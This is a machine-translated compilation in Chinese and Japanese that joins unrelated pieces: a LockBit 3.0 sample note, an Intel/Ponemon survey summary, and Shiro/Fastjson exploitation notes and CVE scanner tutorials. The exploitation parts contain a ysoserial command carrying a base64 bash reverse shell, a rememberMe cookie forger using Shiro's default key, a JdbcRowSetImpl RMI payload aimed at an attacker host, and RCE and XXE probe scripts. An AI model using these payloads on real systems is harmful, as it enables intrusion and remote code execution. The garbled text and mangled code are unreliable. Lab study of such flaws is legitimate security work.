VirusTotal上的LockBit3.0最近，一位研究人員在VirusTotal上發現了另一個LockBit 3.0示例，在撰寫本文時，在撰寫本文時檢測到了19個。這個特定的示例是一個包含兩層模糊代碼的PowerShell腳本。在對腳本進行去混淆之後，我們發現LockBit 3.0能夠通過反射加載將DLL注入內存，使用的代碼與BlackMatter自己的PowerShell代碼相同。 截至2022年7月21日在VirusTotal上發現的LockBit3.0樣本 LockBit3.0的第一層混淆代碼 LockBit3.0的第二層混淆代碼 LockBit3.0的反混淆PowerShell腳本 LockBit3.0的主要功能 BlackMatter的主要功能 此特定示例具有通過Base64壓縮和加密的有效負載。為了訪問它，我們修改了腳本以轉儲有效負載而不是執行它。通過轉儲有效載荷，我們能夠獲得LockBit3.0的主要二進製文件。 執行時，該腳本表現出與之前發現的LockBit3.0示例相同的行為。此特定示例將19MqZqZ0附加到加密文件的文件名。 LockBit3.0的有效載荷 轉儲LockBit3.0的有效負載 LockBit3.0的主要二進製文件 LockBit3.0的加密文件，其名稱後附有19MqZqZ0 這個特定的LockBit 3.0示例的有效負載只檢查3個哈希參數，而之前的LockBit3.0示例檢查了8個。它的DLL有效負載是反射式加載的，其通過管理共享和組策略傳播程序的代碼是為PE（便攜式可執行文件）二進製文件設計的，而不是為PowerShell腳本設計的，這可能解釋了為什麼某些程序不起作用。另一種可能性是，LockBit3.0的勒索軟件構建器可能會選擇禁用某些程序。即使檢查了-pass

遠程勞動力、混合雲和零信任趨勢正在推動安全團隊專注於硬件輔助安全策略，以更好地保護因新冠病毒而發生重大變化的攻擊面。 為了應對新的挑戰，硬件輔助安全被視為獲得IT生態系統可見性、管理數字資產以及降低安全團隊和計算成本的有效的創新方式。這些發現來自英特爾贊助的Ponemon Institute最近的一項調查。 根據這項研究：“由於遠程業務的發展，組織被迫在幾乎沒有預先警告的情況下改變其網絡安全實踐。”53%的受訪者表示，他們IT堆棧中與新冠病毒相關的變化迫使他們更新安全策略。 這一轉變的核心是尋求創新的新方法來管理基礎設施和端點蔓延。最近的漏洞Log4J、ProxyShell和ZeroLogon都強調了這一新動態。在每個零日實例中，安全團隊必須爭先恐後地查看生態系統中哪些可能易受攻擊，需要先修補。 這項對1406名IT專業人員的研究旨在探索採用該技術的公司和考慮採用相關解決方案的公司對硬件輔助安全的態度。該研究還探討了硬件輔助安全如何幫助組織加強安全工作。 什麼是硬件輔助安全？硬件輔助安全（HAS）解決了大型網絡基礎設施中資產可見性的業務挑戰，它使安全團隊能夠更快地發現和修復漏洞。硬件安全性通過設備組件固件或軟件實現這一點，這可以通過虛擬機管理程序和其他網絡監控工具實現更高級別的可見性。 硬件輔助的主要安全組件包括： 控制-流量執法技術（高級惡意軟件保護） 硬件遙測以通知惡意信號（威脅偵察） 加密和加速（安全設備訪問） 端點身份驗證和可信平台模塊芯片（端點身份驗證） 通過HAS在應對威脅中佔據上風可見性和緩解響應是關鍵，Log4J等新出現的威脅以及與漏洞相關的看不見的錯誤就說明了這一點。在這兩種情況下，資產可見性和快速緩解響應時間對於防止攻擊至關重要。 英特爾和Ponemon發現，受訪者認為資產可見性是應對威脅的重要組成部分。安全團隊經常因缺乏對組織整個網絡的可見性而受到阻礙。 HAS允許資源緊張的安全團隊依靠自動化工具來增強安全團隊的網絡管理能力。 研究發現：“威脅環境的快速復雜要求組織領先安全更新一步。”大約一半的受訪者（48%）表示，他們對新披露的漏洞和補丁有足夠的可見性。 這種安全方法與Ponemon的發現相吻合，Ponemon的發現顯示，公司正在尋找創新的新方法來解決現代IT堆棧。 41%的受訪者將自動化和40%的受訪者將應對當今可見性和管理挑戰列為頂級安全創新。 英特爾客戶安全戰略和倡議副總裁兼總經理Tom Garrison說：“沒有可見性和透明度，就沒有信任。” 創新如何降低成本新的遠程勞動力和雲趨勢為對手創造了一場完美的風暴。 這一現實包括遍布混合雲基礎設施的蔓延攻擊面，並將數千個端點和數字資產連接在一起。隨著攻擊表面的增長，網絡管理員和安全團隊面臨的挑戰就是跟踪資產並減少漏洞。 48%的受訪者表示，他們的安全團隊每週就花費17個小時來繪製物聯網設備上的已知漏洞。而HAS中的自動化工具可以簡化這些工作，使安全團隊能夠專注於緩解和漏洞發現。這可以減少安全團隊的工作量，減少員工的倦怠，並降低與安全人員配置相關的成本——同時讓員工專注於減輕真正的威脅，而不是“假陽性”。 據65%採用該技術的公司稱，Ponemon在其研究中排除了這一點，受訪者分享了HAS通過矽水平的硬件資產自動庫存簡化了資產可見性和漏洞暴露。 能見度至關重要，但有時可能目光短淺許多公司仍然難以在子操作系統層面繪製IT資產的已知漏洞。 52%的受訪者表示，他們根據最新的微代碼和CPU更新跟踪設備的安全性，但其餘的則沒有。沒有這種級別的跟踪，組織可能會為BIOS和固件級別的子操作系統惡意軟件攻擊或惡意代碼的持續存在打開大門。 69%的受訪者表示，硬件和固件安全解決方案使漏洞管理更加有效。根據這項研究，“在那些使用硬件和固件安全解決方案的組織中，58%的受訪者表示，他們的組織可以很好地或顯著地了解他們的硬件和固件是否處於已知良好狀態。” 抵消零信任身份驗證成本其他成本考慮因素包括與通過加密進行設備身份驗證所需的支持硬件的加速器相關的成本節約。 36%的受訪者表示，硬件是他們組織端點（PC/IoT）安全戰略的一部分。隨著公司更加重視零信任解決方案，相關計算成本可能會增加。 研究發現，在採用硬件安全的公司中，32%的企業已經實施了零信任解決方案。根據該研究，“隨著組織採用新的安全技術，硬件輔助安全補充了現有協議，並加強了整體安全衛生。” 硬件安全可以允許組織利用支持硬件的加速器來抵消加密成本，從而降低基於加密的身份驗證的計算成本。 根據這項研究，38%的受訪者表示，他們利用硬件加速器來抵消加密成本。 26%的人表示，他們部署了硬件或支持矽的加速器，以抵消在啟用訪問之前驗證端點的成本。 在尋求不斷變化的威脅格局的創新解決方案的組織中，從業者的滿意度和對HAS解決方案的看法非常強烈。 36%的調查受訪者表示，他們的組織採用了硬件輔助安全解決方案，47%的人表示，他們的組織將在未來六個月內採用HAS解決方案。 受訪者告訴英特爾和Ponemon，今天的威脅環境要求“組織在網絡安全實踐中具有敏捷性和創新性”。

shiro Apache Shiroは、認証、承認、暗号化、セッション管理機能を提供して、複雑な問題を隠し、開発者が独自のプログラムセキュリティコードを簡単に開発できるようにする明確で直感的なAPIを提供します。 Shiroは、Shiroが開発チームが「4つのセキュリティコーナーストーン」と呼ぶものに焦点を当てています - 認証、承認、セッション管理、暗号化 認証：ユーザーIDの識別。時にはそれは「ログイン」と見なすことができます。これは、彼が誰であるかを証明するためのユーザーの行為です。承認：「何が「何にアクセスできるか」を決定するなど、アクセス制御プロセス。セッション管理：WebまたはEJBコンテナのない環境でも、ユーザーセッションを管理します。ユーザーの時間関連ステータスを管理します。暗号化：暗号化アルゴリズムを使用して、データをより安全に保護し、データが覗かれないようにします。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro CVE-2010-3863：Apache Shiro Certification Bypassの脆弱性 脆弱性の原則 バージョンのApache Shiro 1.1.0の前に、Shiroは許可確認を実行する前にURLを標準化しませんでした。攻撃者は /、//、 /./、 /… /などを構築できます。許可確認をバイパスします。 影響バージョン Shiro 1.1.0およびJSecurity 0.9.x 脆弱性の再発 アクセスページアドレスは：IP:8080です 脆弱性ポイント/管理者 クロスディレクトリを使用して辞書ファズをテストします CVE-2016-4437：Apache Shiro 1.2.4 Deserialization脆弱性/Shiro550 脆弱性の原則 Shiro550の脆弱性に属します。 Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用してユーザーCookieを鍛造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。 Shiroは、デフォルトでCookiereMembermemanagerを使用し、Rememberme Cookieを暗号化し、CookierMemberMemmeManaerクラス、AES暗号化、およびbase64エンコーディング操作の記憶のフィールドコンテンツをシリアル化します。 IDを識別するときは、CookieのRemembermeフィールドを復号化する必要があります。暗号化の順序によれば、復号化の順序は==cookie-base64デコード-aes復号化除表現を取得することであると推測できます。== 影響バージョン Apache Shiro=1.2.4 脆弱性の再発 認証、承認、パスワード、セッション管理のために、Shiro Frameworkがページのログインを使用するかどうかを判断します。 判断方法：Remember Passwordオプションをチェックした後、[ログイン]をクリックし、パケットをつかみ、リクエストパッケージにRemembermeフィールドがあるかどうか、およびResponseパッケージにSetCookie:Rememberme=DeleTemeフィールドがあるかどうかを観察します。下の写真に似ています。 rememberme=deletemeフィールドが応答パッケージに表示される限り、それは脆弱性があることを意味します。片側にするために、rememberme=deletemeフィールドが表示される場合、ログインページが認証にshiroを使用していることのみを示す必要があります。リクエストパッケージのCookieに脆弱性とリコールフィールドがあることを直接示していません。ログインが失敗した場合、Remembermeフィールドがチェックされているかどうかに関係なく、Return PackageにはRembermeme=Deletemeフィールドがあります。ログインが成功した場合、リターンパッケージにはrememberme=deletemeフィールドがあります。ログインが成功した場合、Return Package Set-Cookieにはrememberme=deletemeフィールドがあります。ただし、その後のすべてのリクエストでは、CookieにはRememberme Field Check remembermeがありません。ログインが成功した場合、リターンパッケージにはセットクッキーにRememberme=Deletemeフィールドがあり、Remembermeフィールドがあります。その後のすべてのリクエストで、Cookieには記憶型フィールドがあります。または、Cookieの後に記憶型のフィールドを追加して、rememberme=deremetemeymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=があるかどうかを確認できます。 Java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64、-d} | {bash、-i} ' shiro-exploit.pyを使用して、shiroのデフォルトキーを取得します（ツールアドレス：https://github.com/insightglacier/shiro_exploit） shiro.pyを使用してペイロードを生成します（自分でキーを変更する必要があります。Shiro.pyコードは次のとおりです:) コマンド：Shiro.py 192.168.17.13233606666 shiro.py: sysをインポートします uuidをインポートします base64をインポートします サブプロセスをインポートします crypto.cipher Import AESから def encode_rememberme（command）: popen=subprocess.popen（['java'、 '-jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、command]、stdout=subprocess.pipe） bs=aes.block_size pad=lambda S: s +（（bs -len（s）％bs） * chr（bs -len（s）％bs））。encode（） key=base64.b64decode（ 'kph+bixk5d2deziixcaaaaa=='） iv=uuid.uuid4（）。バイト encryptor=aes.new（key、aes.mode_cbc、iv） file_body=pad（popen.stdout.read（）） base64_ciphertext=base64.b64encode（iv + encryptor.encrypt（file_body））） base64_ciphertextを返します __name__=='__main __' :の場合 ペイロード=encode_rememberme（sys.argv [1]） print（ 'rememberme={0}'。フォーマット（payload.decode（））） python3 shiro.py 192.168.200.12933606666 ログインした後、パケットをつかみ、データパケットのCookie値を交換して、shiro.pyによって生成されたrememberme CVE-2020-1957：Apache Shiro Certification Bypassの脆弱性 脆弱性の原則 プロジェクト全体で要求したURLの着信配信プロセスを分析する必要があります。 Shiroを使用するプロジェクトでは、Shiro Permissions（url2）によって検査され、最後にSpringbootプロジェクトへのルートをプロセス（URL3）で検査したのは、要求したURL（URL1）です。 脆弱性は、URL1、URL2、およびURL3で発生します。それは同じURLではないかもしれないので、Shiroの検証をバイパスし、バックエンドに直接アクセスすることになります。この場合の脆弱性は、この理由によって引き起こされます。 Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。 影響バージョン Apache Shiro 1.5.2 脆弱性の再発 URLを変更/管理者は自動的にログインログインページにジャンプします 許可バイパスの悪意のあるリクエストを構築します コードレベルが追加されているため。それはバイパスされたものとして認識されます。 1つ/ショートを追加します。 URLは/xxx/. /xxx/./admin/ shiro 721 脆弱性の再発：CVE-2019-12422 環境：Kali Linux Dockerビルドとスタート git clone https://github.com/3ndz/shiro-721.git CD Shiro-721/Docker Docker Build -T Shiro -721。 docker run -p 8080:8080 -d shiro -721 アクセス： 正しいアカウントパスワードでログインする場合、下の図に示すように、2つのリクエストパケット、つまり投稿とgetpostリクエストパケットを送信します（正しいアカウントパスワードでログインすることで取得したパッケージ） Get Request Packageは次のとおりです（これは、正しいパスワードでログインして、主にCookie値を背景に送信することで取得したパッケージです） Rememberme=Deletemeフィールドを見ると、Shiro Deserializationの脆弱性44444444があると言えます。 BurpプラグインはHAEとLOGGER ++を追加してShiroの指紋を表示します ツールの使用率： fastjson @fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson 脆弱性の原則 この脆弱性の原則は、FastJsonの脱介入メカニズムにあります。 FastJsonがJSONデータを解析すると、JSONデータをJavaオブジェクトに変換しようとします。このプロセスでは、FastJSONはJSONデータのタイプ情報に基づいてデータを解析する方法を決定します。攻撃者は、この機能を利用してJSONの特定のデータ型と構造を構築することができます。そのため、FastJSONは解析中に悪意のあるJavaクラスまたはメソッドを呼び出して、リモートコードの実行を実現します。 一般的な悪用方法は、FastJSONのオートタイプ関数を使用することです。オートタイプは、シリアル化と脱派の際にクラスの完全に適格なクラス名を使用できるFastJSONの機能です。攻撃者は、悪意のあるJSONデータを構築し、悪意のあるクラスをオートタイプの価値として使用できます。 FastJsonが脱必要になると、指定されたクラスをインスタンス化してクラス内のコードを実行しようとします（Exploitプロセスでは、JDBCrowsetlMPLは一般にチェーンを悪用するために悪用されます）。 @typeフィールド @Typeは、オブジェクトタイプの情報を処理するために使用されるFastJSONの特別なフィールドの1つです。 JSONデータでは、 @ティプフィールドを使用して、脱出中にインスタンス化する必要があるクラスのタイプを指定できます。このフィールドは通常、特にFastJSONのオートタイプ関数が有効になっている場合、脱シリア化中にオブジェクトのタイプ情報を指定するために使用されます。 @Typeフィールドを介して、FastJSONはクラスを識別し、そのフィールドで提供されるクラスパスに基づいてオブジェクトを作成できます。これは、オブジェクトの正確なタイプを指定できるため、複雑なオブジェクト構造をシリアル化して隔離する場合に非常に便利です。 ただし、悪意のあるユーザーがこのフィールドを使用して悪意のあるJSONデータを構築し、@Typeフィールドの悪意のあるクラスパスを指定することができるのは、まさに@Typeフィールドの存在と使用のためです。このようにして、脱出プロセス中に、FastJSONは@Typeフィールドで指定されたクラスパスに基づいて対応するクラスをインスタンス化しようとします。 jndi JNDI、RMI、およびLDAPは、さまざまな目的でJavaで使用されるテクノロジーです。 JNDI（Javaネーミングとディレクトリインターフェイス）：JNDIは、さまざまな命名およびディレクトリサービスにアクセスするために使用されるJavaのAPIのセットです。 JNDIは、JavaアプリケーションがDNS、LDAP、RMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および使用できるようにする統一アクセス方法を提供します。JNDIの目的は、Javaアプリケーションが異なるサービスの命名とディレクトリの作業を利用できるようにすることです。 RMI（リモートメソッド呼び出し）：RMIは、Javaでリモートメソッド呼び出しを実装するために使用されるメカニズムです。これにより、異なるJava仮想マシン間のオブジェクト間の通信とメソッド呼び出しが可能になります。分散システムでは、RMIを使用すると、リモートシステムが互いの方法を呼び出して、リモートオブジェクト間の相互作用を実現できます。 LDAP（LightWeight Directory Access Protocol）：LDAPは、分散ディレクトリサービスにアクセスするために使用されるプロトコルです。通常、ユーザー情報、組織構造などの構造化されたデータを保存するために使用されます。JAVAでは、JNDIはLDAPアクセスのサポートを提供し、JNDIがユーザー認証、データの検索などのLDAPディレクトリサービスを接続および操作できるようにします。 JNDIを使用すると、LDAPサーバーを接続および操作し、LDAPディレクトリにデータを取得および保存できます。さらに、JNDIを使用して、RMIレジストリ内のリモートオブジェクトを見つけて、リモートメソッド呼び出しを実装することもできます。 要約すると、JNDIはJavaのAPIとして、さまざまなサービスにアクセスする統一された方法を提供し、JavaアプリケーションがLDAPやRMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および操作できるようにします。 jdbcrowsetimplはチェーンを利用します Fastjsonでは、脱介入攻撃にJDBCrowsetimplを使用します。 JDBCrowsetimplの利用チェーンの焦点は、AutoCommit Setメソッドを呼び出す方法です。 FastJSONの脱必要異常の特徴は、クラスの設定方法を自動的に呼び出すことであるため、脱出の問題があることです。 @Typeタイプが策定されている限り、対応するクラスを自動的に呼び出して解析します。 これにより、利用チェーンを構築できます。 @TypeのタイプがJDBCrowsetImplの場合、JDBCrowsetImplクラスがインスタンス化されます。したがって、DataSourcenameがLookupメソッドに渡される限り、リモート攻撃サーバーにアクセスできるようにし、AutoCommitプロパティを使用してルックアップをトリガーできます。プロセス全体が次のとおりです。 DataSourCenameを設定してルックアップに属性を渡す方法- AutoCommitプロパティを設定し、SetAutoCommit関数を使用して接続関数をトリガーする - 以下のルックアップ関数は、DataSourcenameパラメーターを使用し、RMIを介してリモートサーバーにアクセスできます。 エクスプロイトは次のとおりです。 {"@type" : "com.sun.rowset.jdbcrowsetimpl"、 "datasourcename" : "rmi: //192.168.17.393:999/exploit"、 ":true} 次のことに注意する価値があります。1。DataSourcenameをオートコンミットの前に配置する必要があります。なぜなら、降下が設定されている場合、属性が順番に設定され、最初にetDataSourCenameが設定され、次にsetAutoCommitです。 2. RMIのURLは、リモートファクトリークラスの名前に従って取得します。これは、パスの下の名前が検索するクラスとしてLookup（）で抽出されるためです。 FastJSON検出バージョン 1。DNSLOGを使用して奪ってください。 DNSLOGのほとんどがブラックリストに記載されているため、独自のDNSLOGを使用するのが最善です。 2。エラーメッセージがあり、バージョン番号のペイロードは「{"and"、 "、欠陥のあるコードブロックを入力して例外をスローする前に読み取られていません 3.スクリプトを使用してバージョン番号をすばやく検出します。つまり、各POCが1回呼び出されます。 CVE-2017-18349 FastJSON 1.2.24-RCE 0x00はじめに Fastjsonは、AlibabaのオープンソースJSON解析ライブラリです。 JSON形式で文字列を解析したり、JSONの弦にJava Beanのシリアル化をサポートしたり、JSON文字列からJavabeansへの降下をサポートします。つまり、FastJSONの主な機能は、Java BeanをJSON文字列にシリアル化することです。これにより、文字列を取得した後、データベースなどを介して持続できます。 0x01脆弱性の概要 JSONを解析する過程で、FastJSONはオートタイプの使用をサポートして特定のクラスをインスタンス化し、クラスのセット/GETメソッドを呼び出して属性にアクセスします。コードに関連する方法を見つけることにより、いくつかの悪意のあるエクスプロイトチェーンを構築できます。 0x02影響バージョン インパクトの範囲：FastJSON=1.2.24 0x03環境構築 CD /vulhub/fastjson/1.2.24-rce docker -compose up -d Docker PS Dockerはポート8090を開き、ターゲットマシンIPにアクセスします http://192.168.200.16:8090/ JDKバージョンの切り替え 脆弱性のエクスプロイトにはJDK8が必要であり、Kaliに付属するJDKはJDK11をここでは使用できないため、KaliのJDK1123を最初にアンインストールする dpkg - リスト| GREP -I JDK #ViewインストールJDKパッケージ apt-get purge openjdk-* #uninstall openjdk関連パッケージ dpkg - リスト| grep -i jdk＃すべてのJDKパッケージがアンインストールされていることを確認してください jdk1.8をダウンロードします https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz 圧縮パッケージをKaliに入れて、環境変数を減圧して構成します MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA＃PLACE IN /OPT /JA

1。序文 次の検出スクリプトを列に示します。 リクエストをインポートします urllib3をインポートします RE、文字列、ランダムをインポートします urllib.parseインポートurljoinから argparseをインポートします インポート時間 SSLをインポートします ssl._create_default_https_context=ssl._create_unverified_context urllib3.disable_warnings（urllib3.exceptions.insecurerequestwarning） def banner（）: print（） 印刷（r '' '' ____________ _____ _____ ____ _____ _____ _____ ____ /___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_ | | \ \//| _ | _____ __）| | | | | | | | _____ ___）| | | | | | | |//'_ \ | | ___ \ v/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| （_）| \ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/ _____ | ___ | // // /_/ '' '） print（） def read_file（file_path）: file:としてopen（file_path、 'r'）があります urls=file.read（）。splitlines（） URLを返します def check（url）: url=url.rstrip（ '/'） taeget_url=urljoin（url、 '/rest/v1/guest-carts/1/astimate-shipping-methods'） try: ヘッダー={ 'user-agent':' mozilla/5.0（x11; cros i686 3912.101.0）Applewebkit/537.36（Khtml、geckoのように）Chrome/27.0.1453.116 Safari/537.36 '、 'content-type':'アプリケーション/json ' } getDomain=requests.get（url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30） domain=str（getDomain.Text） データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://％s '、' datasurl':true、 'options':12345678}}}}}}}' '' '％（domain） requests.post（taeget_url、verify=false、headers、headers、data=data、timeout=25） 範囲（0、3）:のIの場合 更新=requests.get（url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30） time.sleep（1） refresh.text:のドメインの場合 print（f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe！\ 033 [0m'） trueを返します E:としての例外を除く 合格 __name__=='__main __' :の場合 バナー（） parser=argparse.argumentparser（description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト'） parser.add_argument（ '-u'、 '-url'、type=str、help='シングルURL検出'） parser.add_argument（ '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出'） args=parser.parse_args（） args.url:の場合 read_file（args.url） elif args.txt: チェック（args.txt） else: parser.print_help（） 上記のバッチ検出コードの主な機能ポイント： 1。ディスプレイスクリプトを美化するためのグラフィカルロゴを表示するために使用されるバナー機能モジュール 2。read_file関数モジュール、ファイル内の読み取りURLアドレスをバッチバッチにするために使用されます 3.脆弱性を検出するために使用される関数モジュールを確認します。ここで建設にBPを使用し、応答パッケージの返品値に基づいてルールを一致させることをお勧めします。 4.メイン関数モジュールは主に上記の3つの関数を呼び出し、コマンドラインパーサーを参照します 2。 Pythonパッケージをインポート Python Pycharmコミュニティエラー関数を使用して、インポートする必要があるパッケージを検出できます。 リクエストをインポートします urllib3をインポートします RE、文字列、ランダムをインポートします urllib.parseインポートurljoinから argparseをインポートします インポート時間 SSLをインポートします ssl._create_default_https_context=ssl._create_unverified_context urllib3.disable_warnings（urllib3.exceptions.insecurerequestwarning） 3。関数関数モジュール 1. banner識別関数 def banner（）: print（） 印刷（r '' '' ____________ _____ _____ _____ _____ _ _____ /___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \ | | \ \//| _ | _____ __）| | | | | | __）| | | | ____ | _ \ | || | _ | | | | | | | | | | | | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___）| __ _ | | | _ | | \ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/ ____ | ___ \ __）| /__/ | ______ | '' '） print（） 機能：この関数はグラフィカルバナーを印刷します オンライン生成ツール：http://www.network-science.de/ascii/ または、ローカルジェネレーションにPyfigletを使用すると、生成されたコードをPythonコードで置き換えることができます。 ピップインストールpyfiglet c: \ users \ testpyfiglet CVE-2024-34102 ____________ _____ _____ _____ _____ _ _____ /___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \ | | \ \//| _ | _____ __）| | | | | | __）| | | | ____ | _ \ | || | _ | | | | | | | | | | | | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___）| __ _ | | | _ | | \ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/ ____ | ___ \ __）| /__/ | ______ | 2.Read_File関数モジュール 関数：この関数は、指定されたファイルの各行を読み取り、これらの行の内容を含むリストを返します（URLであると仮定）。 注：このコードモジュールは、修正および変更されていないdef read_file（file_path）: #define parameter file_pathを受け入れるread_fileという名前の関数を定義します。 file:としてopen（file_path、 'r'）があります ＃開いた関数を使用して、指定されたパスが読み取りモード（ 'r'）でファイルを開き、ファイルオブジェクトを変数ファイルに割り当てます。 withステートメントは、コードブロックが完了した後、ファイルが自動的に閉じられることを保証します。 urls=file.read（）。splitlines（） ＃ファイルのコンテンツ全体を読み取り、それを行ごとにリストに分割します。各行のコンテンツは、リストの要素として機能します。 splitlines（）メソッド各行のnewlinesを削除します returns #returnすべてのURLのリストを返します 3.関数モジュールを確認 注：ここでは、実際の条件に応じてdef check（url）:を変更できます ＃チェックという名前の関数を定義し、パラメーターURLを受け入れ、チェックするURLを示します url=url.rstrip（ '/'） ＃URLの最後にスラッシュを削除します（存在する場合） taeget_url=urljoin（url、 '/rest/v1/guest-carts/1/astimate-shipping-methods'） ＃urljoin関数を使用して、指定されたURLを指定されたパスでスプライスしてターゲットURLを生成します try: #try次のコードブロックを実行するには、例外が発生した場合、除外ブロックにジャンプします ヘッダー={ 'user-agent':' mozilla/5.0（x11; cros i686 3912.101.0）Applewebkit/537.36（Khtml、geckoのように）Chrome/27.0.1453.116 Safari/537.36 '、 'content-type':'アプリケーション/json ' } #set httpリクエストヘッダー、ヘッダーにはユーザーエージェントとコンテンツタイプが含まれ、コンテンツタイプはpost requestパッケージ形式です getDomain=requests.get（url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30） ＃dnslog.cnにget requestを送信して、脆弱性を検出するために使用される一意のドメイン名を取得します。 domain=str（getDomain.Text） ＃応答コンテンツを文字列に変換し、変数ドメインに値を割り当てます データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://％s '、' datasurl':true、 'options':12345678}}}}}}}' '' '％（domain） ＃この脆弱性を活用する目的で、ドメインを含むJSONデータ文字列を構成する requests.post（taeget_url、verify=false、headers、headers、data=data、timeout=25） ＃ターゲットURLへの投稿リクエストを送信し、構築されたJSONデータを運ぶ 範囲（0、3）:のIの場合 #DNSレコードにドメイン名が含まれているかどうかを確認するために3回変更します 更新=requests.get（url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30） ＃DNSLOG.CNにリクエストを送信して、DNSレコードを取得します time.sleep（1） refresh.text:のドメインの場合 ＃ドメイン名がDNSレコードに含まれている場合、それは脆弱性が存在することを意味します print（f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe！\ 033 [0m'） #printが見つかった脆弱性に関する情報 trueを返します ＃脆弱性が検出されたことを示すためにtrueを返します E:としての例外を除く ＃上記のコードを実行しようとするときに例外が発生した場合、例外をキャッチして無視します 合格 関数を検出する主な方法：タイプDEFチェック（URL）:を取得 url=url.rstrip（ '/'） ターゲット=url+'/urlパス' ヘッダー={ 'user-agent':' mozilla/5.0（x11; linux x86_64）applewebkit/537.36（khtml、yike gecko）chrome/41.0.22227.0 safari/537.36 '' } try: #get要求方法 Response=urllib.request.request（ターゲット、ヘッダー=ヘッダー、method='get'、unverifiable=true） res=urllib.request.urlopen（response） status_code=res.getCode（） content=res.read（）。decode（） status_code==200およびコンテンツの「フォント」とcontent:の「拡張機能」の場合 ＃主な一致する脆弱性検証ルール print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrce脆弱性があります）\ 033 [0m'） E:としての例外を除く 合格 ポストタイプDEF CHECK1（URL）: url=url.rstrip（ '/'） ターゲット=urljoin（url、 '/url path'） ヘッダー={ 'user-agent':' mozilla/5.0（x11; linux x86_64）applewebkit/537.36（khtml、geckoのような）Chrome/41.0.22227.0 Safari/537.36 '、 'content-type':' application/json; charset=utf-8 '#postデータ形式タイプ } #postリクエストデータ data='{' paramname ': '' '' '、' paramdesc': ''、 'paramtype ':' '' ''、 'sampleitem ':'1'、 '必須':true、' neveringflag':1、 'belidationRures'3:'funtiction viuntiction verification java.lang.processbuilder（\\\ 'echo \\\'、\\\ 'helloworldtest \\\'）。start（） null）{ss+=line}; return ss;} '}' try: #postリクエストメソッド response=requests.post（ターゲット、検証=false、headers、data=data、timeout=15） respons.status_code==200および 'helloworldtest' in respons.text.text.text.text.textおよび 'data' in Respons.text: #main検証ルールの場合 print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrceの脆弱性！\ 033 [0m'） trueを返します E:としての例外を除く 合格 def check2（url）: url=url.rstrip（ '/'） ターゲット=urljoin（url、 '/jc6/platform/portalwb/portalwb-con-template!viewcontemplate.action'） ヘッダー={ 'user-agent':' mozilla/2.0（互換性、msie 3.01; Windows 95 '、 'content-type':'アプリケーション/x-www-form-urlencoded ' } データ='' ModulID=1Code=％253CCLOB％253E％2524％257B％2522Freemarker.template.utility.execute％2522％253fnew％2528％2529％2528％2522ARP％2520-A％2522％2529％257D％253C％253CLOB try: response=requests.post（ターゲット、検証=false、headers、data=data、timeout=15） response.status_code==200および「インターネット」の場合、それに応じてテキストと「/clob」。Text: ＃主な一致する脆弱性検証ルール print（f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明（xxxにはrceの脆弱性！\ 033 [0m'） trueを返します E:としての例外を除く 合格 iv。メイン関数関数モジュール 関数：上記の関数を呼び出します この部分は、スクリプトのエントリ、コマンドラインパラメーターを解析し、-URLパラメーターが提供されている場合、単一のURLが検出されます。 -TXTパラメーターが提供されている場合、ファイル内の複数のURLアドレスが検出されます。 __name__=='__main __' :の場合 ＃バナー機能をコールし、上記の識別図を表示します バナー（） #command Lineパラメーターパーサー parser=argparse.argumentparser（description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト'） parser.add_argument（ '-u'、 '-url'、type=str、help='シングルURL検出'） parser.add_argument（ '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出'）

